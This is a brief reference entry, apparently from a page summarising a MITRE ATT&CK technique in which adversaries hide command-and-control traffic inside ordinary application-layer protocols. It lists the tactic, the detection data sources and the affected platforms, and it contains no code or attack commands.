Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre